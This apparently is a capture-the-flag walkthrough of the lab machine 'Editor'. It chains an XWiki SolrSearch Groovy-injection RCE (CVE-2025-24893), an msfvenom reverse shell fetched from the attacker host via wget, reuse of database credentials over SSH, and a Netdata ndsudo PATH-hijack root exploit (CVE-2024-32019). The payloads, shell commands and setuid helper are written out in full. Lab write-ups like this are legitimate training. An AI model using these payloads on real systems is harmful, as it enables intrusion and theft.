Overview
Editor is an easy Linux machine built around an XWiki instance. An unauthenticated remote code execution vulnerability in the SolrSearch macro provides an initial foothold, database credentials found in the XWiki config are reused over SSH, and membership of the netdata group combined with a vulnerable ndsudo binary leads to root.
Attack Chain
- Enumerate open ports and discover a
code editorweb application - Identify the
wiki.editor.htbvhost from theDocslink - Fingerprint
XWiki 15.10.8running on the wiki vhost - Exploit
CVE-2025-24893, an unauthenticated RCE in theSolrSearchmacro - Gain a reverse shell as
xwikiusing anmsfvenompayload - Recover database credentials from
hibernate.cfg.xml - Reuse the credentials over
SSHasoliver - Identify
netdatagroup membership and a vulnerableNetdataversion - Exploit
CVE-2024-32019, aPATHhijack in thendsudoSUID binary - Escalate to
root
Enumeration
Port Scanning
We start by defining the target and running a full TCP port scan to identify the exposed services.
export IP=10.129.58.113; export NAME=EDITOR; echo $IP; echo $NAME; ping $IP -c 1
nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME
ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports
nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

Findings
Open TCP ports are 22 (SSH), 80 (HTTP) and 8080.
Web Enumeration
Port 80 - HTTP
The host doesn’t resolve by IP, so we add editor.htb to /etc/hosts.
echo "$IP editor.htb" | sudo tee -a /etc/hosts

Navigating to http://editor.htb presents a landing page for a code editor product.

The Docs link on the page points to another vhost, wiki.editor.htb, which we also add to /etc/hosts.

Navigating to wiki.editor.htb lands on the wiki documentation for SimplistCode Pro.

Further down the page, the footer discloses that the wiki is running XWiki Debian 15.10.8.

Foothold
CVE-2025-24893 - XWiki SolrSearch RCE
Research on XWiki 15.10.8 identifies CVE-2025-24893, an unauthenticated remote code execution vulnerability via the SolrSearch macro in XWiki.
Exploitation is as simple as sending a GET request to the macro endpoint with a Groovy code injection payload.
curl "http://<target>/xwiki/bin/get/Main/SolrSearch?media=rss&text=[Malicious_Groovy_Payload]"
A public exploit script is available on GitHub:
https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py
Rather than run the script, we take the payload from it and issue the request manually, testing with cat /etc/passwd.
curl -G "http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d"
The response includes familiar /etc/passwd contents, confirming remote code execution.

The request is moved into BurpSuite for easier editing and troubleshooting of subsequent payloads.
curl -G "http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d" -x 127.0.0.1:8080

Reverse Shell
Standard bash and nc reverse shell one-liners fail, mostly with Failed to execute the [groovy] macro. Cause: [error=2, No such file or directory]. Instead of chaining shell operators in one request, we keep each request to a single command and drop a compiled msfvenom payload on the target.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.30 LPORT=443 -f elf -o rev443

First, we serve the payload and have the target pull it into /dev/shm.
wget http://10.10.14.30/rev443 -O /dev/shm/rev443

The web server logs a 200 response, confirming the target downloaded the payload.

We confirm the payload landed on the target.
ls -la /dev/shm

Next, make the payload executable.
chmod +x /dev/shm/rev443

With a penelope listener running on port 443, we execute the payload.
/dev/shm/rev443

We catch a shell as xwiki.

Lateral Movement
Credential Recovery
We check which other accounts have shell access.
cat /etc/passwd | grep -i "sh$"
Only root and oliver have a shell assigned.

Further research on XWiki shows its configuration file stores plaintext credentials for the backing database. We inspect /etc/xwiki.
ls -la /etc/xwiki
hibernate.cfg.xml is readable.

cat /etc/xwiki/hibernate.cfg.xml
The file discloses database credentials.

xwiki:theEd1t0rTeam99
Connecting to the database with these credentials doesn’t reveal anything useful.
mysql -u xwiki -p'theEd1t0rTeam99' -h localhost
Password Reuse
We instead try the password against oliver, the only other user with shell access.
ssh oliver@$IP
Password reuse works.

We land an interactive shell as oliver.

Read the user flag.

Privilege Escalation
Enumeration
Running id shows we’re part of the netdata group.

Netdata is a system health and performance monitoring tool. The netdata group is created automatically during installation, and Netdata has a known local privilege escalation vulnerability in versions ≥ v1.45.0 < v1.45.3.
We locate the Netdata binary to check its version.
find / -name netdata -type f 2>/dev/null

/opt/netdata/bin/netdata -V
The installed version, 1.45.2, is vulnerable to CVE-2024-32019.

CVE-2024-32019 is a high-severity local privilege escalation vulnerability in Netdata (versions >= 1.44.0-60 < 1.45.3), caused by insecure use of the PATH variable in the ndsudo SUID binary, allowing attackers to execute arbitrary commands as root.
CVE-2024-32019 - ndsudo PATH Hijack
A public exploit is available:
The target doesn’t have gcc, so we compile the helper binary locally instead.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
We compile it statically so it resolves everything at build time, avoiding any runtime loader or version dependency on the target.
gcc -static nvme.c -o nvme
/dev/shm is already known to be writable, so we transfer nvme there and make it executable.

We prepend /dev/shm to PATH so ndsudo resolves our malicious nvme binary instead of the real one.
export PATH=/dev/shm:$PATH

Before triggering the exploit, we confirm ndsudo has the SUID bit set.
ls -la /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo

Triggering the exploit executes our nvme binary as root via the hijacked PATH.
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
We land a root shell.

Read the root flag.

Key Takeaways
Editor shows how a single unpatched web application component can cascade into full system compromise. An unauthenticated XWiki RCE provided the initial foothold, plaintext database credentials in a config file were reused to pivot to an SSH user, and group membership combined with an unpatched local monitoring agent gave a straightforward path to root via a PATH-hijacked SUID binary.